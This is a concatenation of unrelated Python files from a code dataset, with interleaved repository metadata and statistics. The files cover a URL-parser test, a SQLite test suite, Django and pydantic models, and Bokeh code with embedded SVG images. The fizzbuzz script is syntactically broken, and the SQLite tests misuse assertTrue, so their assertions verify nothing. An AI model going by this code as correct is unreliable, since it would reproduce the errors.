1.5, 2, 2.5, 3], 'lambd': [3, 5, 10, 15, 20]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # ('SublevelSafeSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # # ('SafeSublevelSet', {'d_min': [1, 2, 3], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[0.5, 1, 2]}),\ # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # ] # roc_curve(models, settings, False) # models = ['Unicycle'] # settings = [ \ # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('PotentialField', {'d_min': [1, 1.5, 2, 2.5, 3], 'lambd': [3, 5, 10, 15, 20]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # ('SublevelSafeSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # ] # roc_curve(models, settings, False) # models = ['SCARA'] # settings = [ \ # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('PotentialField', {'d_min': [1, 1.5, 2, 2.5, 3], 'lambd': [3, 5, 10, 15, 20]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # ('SublevelSafeSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # ] # roc_curve(models, settings, False) # models = ['RobotArm'] # settings = [ \ # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('PotentialField', {'d_min': [1, 1.5, 2, 2.5, 3], 'lambd': [0.1, 0.2, 0.3, 1, 2, 3]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # ('SublevelSafeSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # # ('SafeSublevelSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # ] # roc_curve(models, settings, False) if __name__ == "__main__": leaderboard()

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283

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0

1

0

1

0

null

0

6

8465593828cf906c8948dc64c1ab280b476caec3

1,522

py

Python

test/test_get_parts_of_url.py

moj124/web_crawler

6169c6f59cbc74f82f59a0110f3869c300d8a0d0

[ "MIT" ]

null

test/test_get_parts_of_url.py

moj124/web_crawler

6169c6f59cbc74f82f59a0110f3869c300d8a0d0

[ "MIT" ]

null

test/test_get_parts_of_url.py

moj124/web_crawler

6169c6f59cbc74f82f59a0110f3869c300d8a0d0

[ "MIT" ]

null

import pytest from ..crawl_website import get_parts_of_url @pytest.mark.parametrize("links",[ ["https://www.scrapethissite.com/faq/", "https://www.scrapethissite.com/", "https://www.scrapethissite.com/lessons/", "https://www.scrapethissite.com/pages/", "https://www.scrapethissite.com/login/"] ]) def test_url_format(links): assert get_parts_of_url(links[0]) == ('scrapethissite.com','https://www.scrapethissite.com','https://www.scrapethissite.com/faq/') assert get_parts_of_url(links[1]) == ('scrapethissite.com','https://www.scrapethissite.com','https://www.scrapethissite.com/') assert get_parts_of_url(links[2]) == ('scrapethissite.com','https://www.scrapethissite.com','https://www.scrapethissite.com/lessons/') assert get_parts_of_url(links[3]) == ('scrapethissite.com','https://www.scrapethissite.com','https://www.scrapethissite.com/pages/') assert get_parts_of_url(links[4]) == ('scrapethissite.com','https://www.scrapethissite.com','https://www.scrapethissite.com/login/') @pytest.mark.parametrize("links",[ ["/", "/login/?2", '#hello', '#', ' ', '' ] ]) def test_url_endpoints(links): assert get_parts_of_url(links[0]) == ('','://','/') assert get_parts_of_url(links[1]) == ('','://','/login/') assert get_parts_of_url(links[2]) == ('','://','#hello') assert get_parts_of_url(links[3]) == ('','://','#') assert get_parts_of_url(links[4]) == ('','://',' ') assert get_parts_of_url(links[5]) == ('','://','')

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null

1

0

null

0

6

ffcd8a6a665aedb48b75f8e267fd4eb09a5c901a

568

py

Python

monitoring_system/utils/__init__.py

NesterukSergey/Rpi_monitoring_study

a2e9431232ea59757b53dcbfdccf998178ed6264

[ "MIT" ]

10

2020-08-31T19:21:23.000Z

2022-01-24T22:00:00.000Z

monitoring_system/utils/__init__.py

Skrisss/Raspberry_Pi_monitoring_system

736c077576ac49775ffd59d59614d9ef97e33f1d

[ "MIT" ]

null

monitoring_system/utils/__init__.py

Skrisss/Raspberry_Pi_monitoring_system

736c077576ac49775ffd59d59614d9ef97e33f1d

[ "MIT" ]

9

2021-12-04T10:38:53.000Z

2022-01-24T22:00:02.000Z

from monitoring_system.utils.json import * from monitoring_system.utils.csv import write_csv, read_csv from monitoring_system.utils.get_time import get_time from monitoring_system.utils.txt import write_txt, read_txt from monitoring_system.utils.get_serial_number import get_serial_number from monitoring_system.utils.average import average from monitoring_system.utils.list_dirs import list_dirs from monitoring_system.utils.preprocess_cameras import * from monitoring_system.utils.preprocess_sensors import * from monitoring_system.utils.preprocess_sensors import *

51.636364

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568

5.722892

0.240964

0.294737

0.421053

0.526316

0.471579

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0.073944

568

10

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56.8

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0.2

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true

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null

1

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null

0

1

0

1

0

1

0

6

ffeeda8b22c1d7b779d9a53c2cb4efdd915d18af

184

py

Python

fizzbuzz.py

hoona1011/git-flow-practice

9d7cdd3794a6e8c9968cd29b84273f5dbf281add

[ "MIT" ]

null

fizzbuzz.py

hoona1011/git-flow-practice

9d7cdd3794a6e8c9968cd29b84273f5dbf281add

[ "MIT" ]

null

fizzbuzz.py

hoona1011/git-flow-practice

9d7cdd3794a6e8c9968cd29b84273f5dbf281add

[ "MIT" ]

null

for i in range(1,15+1) if i%3==0: print('fizz') else: print(i) 5 5 5 5 5 5 15 15 15

9.684211

22

0.277174

25

184

2.04

0.52

0.196078

0.235294

0.117647

0

0.272727

0.641304

184

18

23

10.222222

0.5

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0.021858

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null

0

null

0.142857

1

0

null

0

1

0

1

0

null

0

1

0

6

ffefc5450ba9e766bb390ce894c7b49a9ef55757

149

py

Python

wallarm_api/core/models/graph_data.py

Neraverin/wallarm-api-python

a033cfee28b1648f6bb7d1e531f353929b5d41c1

[ "Apache-2.0" ]

null

wallarm_api/core/models/graph_data.py

Neraverin/wallarm-api-python

a033cfee28b1648f6bb7d1e531f353929b5d41c1

[ "Apache-2.0" ]

null

wallarm_api/core/models/graph_data.py

Neraverin/wallarm-api-python

a033cfee28b1648f6bb7d1e531f353929b5d41c1

[ "Apache-2.0" ]

null

from pydantic import BaseModel class GraphSummaryMonthly(BaseModel): requests_count: int attacks_count: int blocked_attacks_count: int

18.625

37

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149

6.647059

0.647059

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0.265487

0

0.174497

149

7

38

21.285714

0.918699

0

1

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true

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null

1

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null

0

1

0

1

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6

082e5ede6918060692832d0876b6e1268b52677a

159

py

Python

someblog/admin.py

Kwpolska/django-someblog

9b12c59785bbe7b58312f3a844f4712b6d2b3d76

[ "BSD-3-Clause" ]

null

someblog/admin.py

Kwpolska/django-someblog

9b12c59785bbe7b58312f3a844f4712b6d2b3d76

[ "BSD-3-Clause" ]

null

someblog/admin.py

Kwpolska/django-someblog

9b12c59785bbe7b58312f3a844f4712b6d2b3d76

[ "BSD-3-Clause" ]

null

from django.contrib import admin from someblog.models import Post, Tag, Author admin.site.register(Post) admin.site.register(Tag) admin.site.register(Author)

22.714286

45

0.811321

24

159

5.375

0.5

0.209302

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0.08805

159

6

46

26.5

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1

0

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null

0

1

0

1

0

6

f2c5347d1d210458285a8f53f5da1598625434a3

384

py

Python

scgen/modules/Disruption.py

supermihi/scgen

844144b8fb59de6a81c305ebcf0e39cf5af7c01d

[ "MIT" ]

1

2020-07-29T13:48:32.000Z

scgen/modules/Disruption.py

supermihi/scgen

844144b8fb59de6a81c305ebcf0e39cf5af7c01d

[ "MIT" ]

2

2020-11-17T20:27:57.000Z

2021-01-11T15:41:10.000Z

scgen/modules/Disruption.py

supermihi/scgen

844144b8fb59de6a81c305ebcf0e39cf5af7c01d

[ "MIT" ]

1

2020-11-16T12:59:40.000Z

from scgen.modules.BaseModule import BaseModule from scgen.helpers.JointGeneration import generateJointly class Disruption(BaseModule): name = "disruption" def __init__(self, forElements, distributions, elementList, moduleList, distributionsProvider, **additionalSettings): super().__init__(forElements, distributions, elementList, moduleList, distributionsProvider)

48

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384

9.181818

0.636364

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0.231023

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0.435644

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0

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1

0

null

0

1

0

1

0

6

f2c60106fdbab06512780f1af5ae2d9dda42809a

7,395

py

Python

assets/misc/SQLite_Docker_Python_Challenge/test.py

oliviapy960825/oliviapy960825.github.io

7a07fd0887e5854b0b92e4cc8e20ff1fd2219fde

[ "CC-BY-3.0" ]

null

assets/misc/SQLite_Docker_Python_Challenge/test.py

oliviapy960825/oliviapy960825.github.io

7a07fd0887e5854b0b92e4cc8e20ff1fd2219fde

[ "CC-BY-3.0" ]

null

assets/misc/SQLite_Docker_Python_Challenge/test.py

oliviapy960825/oliviapy960825.github.io

7a07fd0887e5854b0b92e4cc8e20ff1fd2219fde

[ "CC-BY-3.0" ]

null

import sqlite3 import unittest from webservice2 import * import warnings import datetime #warnings.simplefilter("ignore", ResourceWarning) class UnitTest(unittest.TestCase): def setUp(self): self.conn = sqlite3.connect(":memory:") c = self.conn.cursor() def test_creating_table(self): sql_create_positions_table = """ CREATE TABLE IF NOT EXISTS positions ( name text PRIMARY KEY, description text ); """ sql_create_interns_table = """CREATE TABLE IF NOT EXISTS interns ( id integer PRIMARY KEY, last_name text NOT NULL, first_name text NOT NULL, position_applied text NOT NULL, school text NOT NULL, program text NOT NULL, date_of_entry text NOT NULL, FOREIGN KEY (position_applied) REFERENCES positions (name) ON UPDATE NO ACTION );""" #c.execute(sql_create_positions_table) # create projects table create_table(self.conn, sql_create_positions_table) # create tasks table create_table(self.conn, sql_create_interns_table) self.conn.commit() res = self.conn.execute("SELECT name FROM sqlite_master WHERE type='table';") names=res.fetchall() #result=self.assertEqual(name[0],"positions") or self.assertEqual(name[1],"interns") #print (str(result)) self.assertTrue(names[0], "positions") self.assertTrue(names[1], "interns") #Creating table tested # create tables # Returns True or False. def test_inserting_position(self): position=("Software Development Intern", "This position is for software development intern") if self.conn is not None: c = self.conn.cursor() sql_create_positions_table = """ CREATE TABLE IF NOT EXISTS positions ( name text PRIMARY KEY, description text ); """ create_table(self.conn, sql_create_positions_table) create_position(self.conn, position) self.conn.commit() else: print("Error! cannot create the database connection.") c.execute("SELECT name from positions LIMIT 1") result = c.fetchone() self.assertTrue(result[0], "Software Development Intern") def test_inserting_intern(self): intern_1=("A","B","Software Development Intern","GWU","Data Analytics",datetime.datetime.now()) intern_2=("C","D","Data Science Intern","GWU","Data Analytics",datetime.datetime.now()) sql_create_positions_table = """ CREATE TABLE IF NOT EXISTS positions ( name text PRIMARY KEY, description text ); """ sql_create_interns_table = """CREATE TABLE IF NOT EXISTS interns ( id integer PRIMARY KEY, last_name text NOT NULL, first_name text NOT NULL, position_applied text NOT NULL, school text NOT NULL, program text NOT NULL, date_of_entry text NOT NULL, FOREIGN KEY (position_applied) REFERENCES positions (name) ON UPDATE NO ACTION );""" #c.execute(sql_create_positions_table) if self.conn is not None: c = self.conn.cursor() # create projects table create_table(self.conn, sql_create_positions_table) # create tasks table create_table(self.conn, sql_create_interns_table) position=("Software Development Intern", "This position is for software development intern") create_position(self.conn, position) create_intern(self.conn, intern_1) create_intern(self.conn, intern_2) self.conn.commit() else: print("Error! cannot create the database connection.") c.execute("SELECT first_name from interns") result = c.fetchall() self.assertTrue(len(result), 1) self.assertTrue(result[0], "B") def test_inserting_intern_api(self): #intern_1=("A","B","Software Development Intern","GWU","Data Analytics",datetime.datetime.now()) #intern_2=("C","D","Data Science Intern","GWU","Data Analytics",datetime.datetime.now()) interns=[{'Applicant Last Name':'A','Applicant First Name':'B','Position Applied For':'Software Development Intern','Applicant School':'GWU','Applicant Degree Program':'CS'},{'Applicant Last Name':'C','Applicant First Name':'D','Position Applied For':'Data Analytics Intern','Applicant School':'GWU','Applicant Degree Program':'CS'}] sql_create_positions_table = """ CREATE TABLE IF NOT EXISTS positions ( name text PRIMARY KEY, description text ); """ sql_create_interns_table = """CREATE TABLE IF NOT EXISTS interns ( id integer PRIMARY KEY, last_name text NOT NULL, first_name text NOT NULL, position_applied text NOT NULL, school text NOT NULL, program text NOT NULL, date_of_entry text NOT NULL, FOREIGN KEY (position_applied) REFERENCES positions (name) ON UPDATE NO ACTION );""" #c.execute(sql_create_positions_table) if self.conn is not None: c = self.conn.cursor() # create projects table create_table(self.conn, sql_create_positions_table) # create tasks table create_table(self.conn, sql_create_interns_table) position=("Software Development Intern", "This position is for software development intern") create_position(self.conn, position) create_interns_api(self.conn, interns) self.conn.commit() else: print("Error! cannot create the database connection.") c.execute("SELECT first_name from interns") result = c.fetchall() self.assertTrue(len(result), 1) self.assertTrue(result[0], "B") def tearDown(self): self.conn.close() if __name__ == '__main__': unittest.main()

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null

0

6

4b7498f5965e56dc6e5abe06865e425e346013eb

9,607

py

Python

css.py

rodluger/starry_gp_app

0f4b50bb124ea045a4e6e26a6bf32ef93b10885a

[ "MIT" ]

1

2020-08-25T01:25:27.000Z

css.py

rodluger/starry_gp_app

0f4b50bb124ea045a4e6e26a6bf32ef93b10885a

[ "MIT" ]

null

css.py

rodluger/starry_gp_app

0f4b50bb124ea045a4e6e26a6bf32ef93b10885a

[ "MIT" ]

null

from bokeh.models import Div from plasma import plasma __all__ = ["svg_mu", "svg_nu", "style"] # SVG: Greek mu svg_mu = lambda: Div( text=""" <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gQ3JlYXRlZCB3aXRoIElua3NjYXBlIChodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy8pIC0tPgoKPHN2ZwogICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiCiAgIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIKICAgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxuczpzb2RpcG9kaT0iaHR0cDovL3NvZGlwb2RpLnNvdXJjZWZvcmdlLm5ldC9EVEQvc29kaXBvZGktMC5kdGQiCiAgIHhtbG5zOmlua3NjYXBlPSJodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy9uYW1lc3BhY2VzL2lua3NjYXBlIgogICB3aWR0aD0iNDAwIgogICBoZWlnaHQ9IjQwMCIKICAgaWQ9InN2ZzQ2MTEiCiAgIHNvZGlwb2RpOnZlcnNpb249IjAuMzIiCiAgIGlua3NjYXBlOnZlcnNpb249IjAuOTIuNCAoNWRhNjg5YzMxMywgMjAxOS0wMS0xNCkiCiAgIHZlcnNpb249IjEuMCIKICAgc29kaXBvZGk6ZG9jbmFtZT0iR3JlZWtfbGNfbXUuc3ZnIj4KICA8ZGVmcwogICAgIGlkPSJkZWZzNDYxMyIgLz4KICA8c29kaXBvZGk6bmFtZWR2aWV3CiAgICAgaWQ9ImJhc2UiCiAgICAgcGFnZWNvbG9yPSIjZmZmZmZmIgogICAgIGJvcmRlcmNvbG9yPSIjNjY2NjY2IgogICAgIGJvcmRlcm9wYWNpdHk9IjEuMCIKICAgICBncmlkdG9sZXJhbmNlPSIxMDAwMCIKICAgICBndWlkZXRvbGVyYW5jZT0iMTAiCiAgICAgb2JqZWN0dG9sZXJhbmNlPSIxLjYiCiAgICAgaW5rc2NhcGU6cGFnZW9wYWNpdHk9IjAuMCIKICAgICBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIgogICAgIGlua3NjYXBlOnpvb209IjAuNyIKICAgICBpbmtzY2FwZTpjeD0iODUuOTA5MTkiCiAgICAgaW5rc2NhcGU6Y3k9IjE5MC42MTg4MyIKICAgICBpbmtzY2FwZTpkb2N1bWVudC11bml0cz0icHgiCiAgICAgaW5rc2NhcGU6Y3VycmVudC1sYXllcj0ibGF5ZXIxIgogICAgIGlua3NjYXBlOm9iamVjdC1iYm94PSJ0cnVlIgogICAgIGlua3NjYXBlOm9iamVjdC1wb2ludHM9InRydWUiCiAgICAgaW5rc2NhcGU6b2JqZWN0LW5vZGVzPSJ0cnVlIgogICAgIGlua3NjYXBlOmdyaWQtcG9pbnRzPSJ0cnVlIgogICAgIGlua3NjYXBlOndpbmRvdy13aWR0aD0iMTkyMCIKICAgICBpbmtzY2FwZTp3aW5kb3ctaGVpZ2h0PSIxMDE3IgogICAgIGlua3NjYXBlOndpbmRvdy14PSItOCIKICAgICBpbmtzY2FwZTp3aW5kb3cteT0iLTgiCiAgICAgd2lkdGg9IjQwMHB4IgogICAgIGhlaWdodD0iNDAwcHgiCiAgICAgc2hvd2dyaWQ9ImZhbHNlIgogICAgIGlua3NjYXBlOndpbmRvdy1tYXhpbWl6ZWQ9IjEiIC8+CiAgPG1ldGFkYXRhCiAgICAgaWQ9Im1ldGFkYXRhNDYxNiI+CiAgICA8cmRmOlJERj4KICAgICAgPGNjOldvcmsKICAgICAgICAgcmRmOmFib3V0PSIiPgogICAgICAgIDxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PgogICAgICAgIDxkYzp0eXBlCiAgICAgICAgICAgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIgLz4KICAgICAgPC9jYzpXb3JrPgogICAgPC9yZGY6UkRGPgogIDwvbWV0YWRhdGE+CiAgPGcKICAgICBpbmtzY2FwZTpsYWJlbD0iTGF5ZXIgMSIKICAgICBpbmtzY2FwZTpncm91cG1vZGU9ImxheWVyIgogICAgIGlkPSJsYXllcjEiCiAgICAgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTI1Ni42Nzk4LC01MzEuNzk2MykiPgogICAgPGcKICAgICAgIGFyaWEtbGFiZWw9Is68IgogICAgICAgc3R5bGU9ImZvbnQtc3R5bGU6bm9ybWFsO2ZvbnQtd2VpZ2h0Om5vcm1hbDtsaW5lLWhlaWdodDowJTtmb250LWZhbWlseTonVGltZXMgTmV3IFJvbWFuJzt0ZXh0LWFsaWduOnN0YXJ0O3RleHQtYW5jaG9yOnN0YXJ0O2ZpbGw6IzAwMDAwMDtmaWxsLW9wYWNpdHk6MTtzdHJva2U6bm9uZTtzdHJva2Utd2lkdGg6MXB4O3N0cm9rZS1saW5lY2FwOmJ1dHQ7c3Ryb2tlLWxpbmVqb2luOm1pdGVyO3N0cm9rZS1vcGFjaXR5OjEiCiAgICAgICBpZD0idGV4dDU1NDAiPgogICAgICA8cGF0aAogICAgICAgICBkPSJtIDQ4NS43MzExNCw4MDcuOTQ1OCBxIC0zNS4zNTE1NiwzNy44OTA2MyAtNjEuNTIzNDQsMzcuODkwNjMgLTE2Ljc5Njg3LDAgLTMxLjI1LC0xMi44OTA2MyB2IDEwLjM1MTU2IHEgMCwxNy45Njg3NSA1LjQ2ODc1LDM2LjEzMjgyIDYuMjUsMjAuMTE3MTggNi4yNSwyNi41NjI1IDAsOC45ODQzNyAtNS42NjQwNiwxNC44NDM3NSAtNS42NjQwNiw1Ljg1OTM3IC0xNC4wNjI1LDUuODU5MzcgLTguNTkzNzUsMCAtMTMuNjcxODcsLTYuODM1OTQgLTUuMDc4MTMsLTYuODM1OTMgLTUuMDc4MTMsLTE2LjQwNjI1IDAsLTcuMDMxMjUgNS4wNzgxMywtMjUuMzkwNjIgNS44NTkzNywtMjAuMzEyNSA1Ljg1OTM3LC0zOS40NTMxMyBWIDY2MS40NjE0MyBoIDMyLjIyNjU2IHYgMTE1LjgyMDMxIHEgMCwxNy41NzgxMiAyLjkyOTY5LDI1Ljc4MTI1IDMuMTI1LDguMjAzMTIgMTAuNzQyMTksMTMuNDc2NTYgNy44MTI1LDUuMDc4MTMgMTcuNTc4MTIsNS4wNzgxMyAxNy4zODI4MiwwIDQ1LjExNzE5LC0yMy44MjgxMyBWIDY2MS40NjE0MyBoIDMyLjQyMTg4IHYgMTM1Ljc0MjE4IHEgMCwxNy4xODc1IDMuNTE1NjIsMjMuODI4MTMgMy41MTU2Myw2LjQ0NTMxIDExLjkxNDA2LDYuNDQ1MzEgMTMuMjgxMjUsMCAxNy4xODc1LC0yNS45NzY1NiBoIDcuMDMxMjUgcSAtMy43MTA5Myw0NC4zMzU5NCAtMzcuNSw0NC4zMzU5NCAtMTQuNjQ4NDMsMCAtMjQuNDE0MDYsLTkuNzY1NjMgLTkuNTcwMzEsLTkuOTYwOTQgLTEwLjE1NjI1LC0yOC4xMjUgeiIKICAgICAgICAgc3R5bGU9ImZvbnQtc2l6ZTo0MDBweDtsaW5lLWhlaWdodDoxLjI1O3RleHQtYWxpZ246Y2VudGVyO3RleHQtYW5jaG9yOm1pZGRsZSIKICAgICAgICAgaWQ9InBhdGg4MTQiIC8+CiAgICA8L2c+CiAgPC9nPgo8L3N2Zz4K" width=20, height=20></img> """, css_classes=["custom-slider-title"], ) # SVG: Greek sigma svg_sigma = lambda: Div( text=""" <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gQ3JlYXRlZCB3aXRoIElua3NjYXBlIChodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy8pIC0tPgo8c3ZnCiAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgeG1sbnM6Y2M9Imh0dHA6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL25zIyIKICAgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIgogICB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zOnNvZGlwb2RpPSJodHRwOi8vc29kaXBvZGkuc291cmNlZm9yZ2UubmV0L0RURC9zb2RpcG9kaS0wLmR0ZCIKICAgeG1sbnM6aW5rc2NhcGU9Imh0dHA6Ly93d3cuaW5rc2NhcGUub3JnL25hbWVzcGFjZXMvaW5rc2NhcGUiCiAgIHdpZHRoPSIxMjUwIgogICBoZWlnaHQ9IjI1MDAiCiAgIGlkPSJzdmcyIgogICBzb2RpcG9kaTp2ZXJzaW9uPSIwLjMyIgogICBpbmtzY2FwZTp2ZXJzaW9uPSIwLjQ2ZGV2K2RldmVsIgogICB2ZXJzaW9uPSIxLjAiCiAgIHNvZGlwb2RpOmRvY25hbWU9IlRpbWVzIE5ldyBSb21hbiBHcmVlayBzbWFsbCBsZXR0ZXIgc2lnbWEuc3ZnIgogICBpbmtzY2FwZTpvdXRwdXRfZXh0ZW5zaW9uPSJvcmcuaW5rc2NhcGUub3V0cHV0LnN2Zy5pbmtzY2FwZSI+CiAgPGRlZnMKICAgICBpZD0iZGVmczQiIC8+CiAgPHNvZGlwb2RpOm5hbWVkdmlldwogICAgIGlkPSJiYXNlIgogICAgIHBhZ2Vjb2xvcj0iI2ZmZmZmZiIKICAgICBib3JkZXJjb2xvcj0iIzY2NjY2NiIKICAgICBib3JkZXJvcGFjaXR5PSIxLjAiCiAgICAgaW5rc2NhcGU6cGFnZW9wYWNpdHk9IjAuMCIKICAgICBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIgogICAgIGlua3NjYXBlOnpvb209IjAuMDg3NSIKICAgICBpbmtzY2FwZTpjeD0iLTUzNy43NzgyMyIKICAgICBpbmtzY2FwZTpjeT0iLTU0LjQwNjEzNCIKICAgICBpbmtzY2FwZTpkb2N1bWVudC11bml0cz0icHgiCiAgICAgaW5rc2NhcGU6Y3VycmVudC1sYXllcj0ibGF5ZXIxIgogICAgIHNob3dncmlkPSJmYWxzZSIKICAgICBpbmtzY2FwZTpzaG93cGFnZXNoYWRvdz0iZmFsc2UiCiAgICAgaW5rc2NhcGU6d2luZG93LXdpZHRoPSIxMjgwIgogICAgIGlua3NjYXBlOndpbmRvdy1oZWlnaHQ9IjEwMDMiCiAgICAgaW5rc2NhcGU6d2luZG93LXg9IjAiCiAgICAgaW5rc2NhcGU6d2luZG93LXk9IjAiIC8+CiAgPG1ldGFkYXRhCiAgICAgaWQ9Im1ldGFkYXRhNyI+CiAgICA8cmRmOlJERj4KICAgICAgPGNjOldvcmsKICAgICAgICAgcmRmOmFib3V0PSIiPgogICAgICAgIDxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PgogICAgICAgIDxkYzp0eXBlCiAgICAgICAgICAgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIgLz4KICAgICAgPC9jYzpXb3JrPgogICAgPC9yZGY6UkRGPgogIDwvbWV0YWRhdGE+CiAgPGcKICAgICBpbmtzY2FwZTpsYWJlbD0iTGl2ZWxsbyAxIgogICAgIGlua3NjYXBlOmdyb3VwbW9kZT0ibGF5ZXIiCiAgICAgaWQ9ImxheWVyMSIKICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg1MzIuMTQyODgsMTM1OS4wNjY0KSI+CiAgICA8cGF0aAogICAgICAgc3R5bGU9ImZvbnQtc2l6ZToyMDQ4cHg7Zm9udC1zdHlsZTpub3JtYWw7Zm9udC13ZWlnaHQ6bm9ybWFsO3RleHQtYWxpZ246Y2VudGVyO3RleHQtYW5jaG9yOm1pZGRsZTtmaWxsOiMwMDAwMDA7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmU7c3Ryb2tlLXdpZHRoOjM7c3Ryb2tlLWxpbmVjYXA6YnV0dDtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlLW1pdGVybGltaXQ6MjtzdHJva2UtZGFzaG9mZnNldDowO3N0cm9rZS1vcGFjaXR5OjE7Zm9udC1mYW1pbHk6VGltZXMgTmV3IFJvbWFuIgogICAgICAgZD0iTSA1ODMuODU3MTIsLTM0Ny41NjY0MSBMIDU4My44NTcxMiwtMjAxLjU2NjQxIEwgMTkzLjg1NzEyLC0yMDEuNTY2NDEgQyAyNzkuMTg5NjksLTE1Mi44OTkwMiAzNDguODU2MjksLTkxLjM5OTA4IDQwMi44NTcxMiwtMTcuMDY2NDA2IEMgNDU2Ljg1NjE4LDU3LjI2NzQzOCA0ODMuODU2MTUsMTM2LjEwMDY5IDQ4My44NTcxMiwyMTkuNDMzNTkgQyA0ODMuODU2MTUsMzI4LjEwMDUgNDQxLjAyMjg2LDQxOC4xMDA0MSAzNTUuMzU3MTIsNDg5LjQzMzU5IEMgMjY5LjY4OTcsNTYwLjc2NjkzIDE3Mi41MjMxMyw1OTYuNDMzNTcgNjMuODU3MTE3LDU5Ni40MzM1OSBDIC02NC44MDk5NjQsNTk2LjQzMzU3IC0xNzUuODA5ODUsNTQ1LjkzMzYyIC0yNjkuMTQyODgsNDQ0LjkzMzU5IEMgLTM2Mi40NzYzMywzNDMuOTMzODIgLTQwOS4xNDI5NSwyMjYuNDMzOTQgLTQwOS4xNDI4OCw5Mi40MzM1OTQgQyAtNDA5LjE0Mjk1LC0yLjIzMjUwMjMgLTM4NC42NDI5OCwtODUuODk5MDg1IC0zMzUuNjQyODgsLTE1OC41NjY0MSBDIC0yODYuNjQzMDgsLTIzMS4yMzIyNyAtMjI5LjY0MzEzLC0yODAuODk4ODkgLTE2NC42NDI4OCwtMzA3LjU2NjQxIEMgLTk5LjY0MzI2MywtMzM0LjIzMjE3IC0xMS44MTAwMTcsLTM0Ny41NjU0OSA5OC44NTcxMTcsLTM0Ny41NjY0MSBMIDU4My44NTcxMiwtMzQ3LjU2NjQxIHogTSAxMjYuODU3MTIsLTIwMS41NjY0MSBMIDkxLjg1NzExNywtMjAxLjU2NjQxIEMgLTguMTQzMzU0MywtMjAxLjU2NTY0IC04Ny45NzY2MDgsLTE3Ni43MzIzMyAtMTQ3LjY0Mjg4LC0xMjcuMDY2NDEgQyAtMjA3LjMwOTgyLC03Ny4zOTkwOTQgLTIzNy4xNDMxMywwLjQzNDE2MTc1IC0yMzcuMTQyODgsMTA2LjQzMzU5IEMgLTIzNy4xNDMxMywyMTkuMTAwNjEgLTIwNS44MDk4MiwzMTguNjAwNTEgL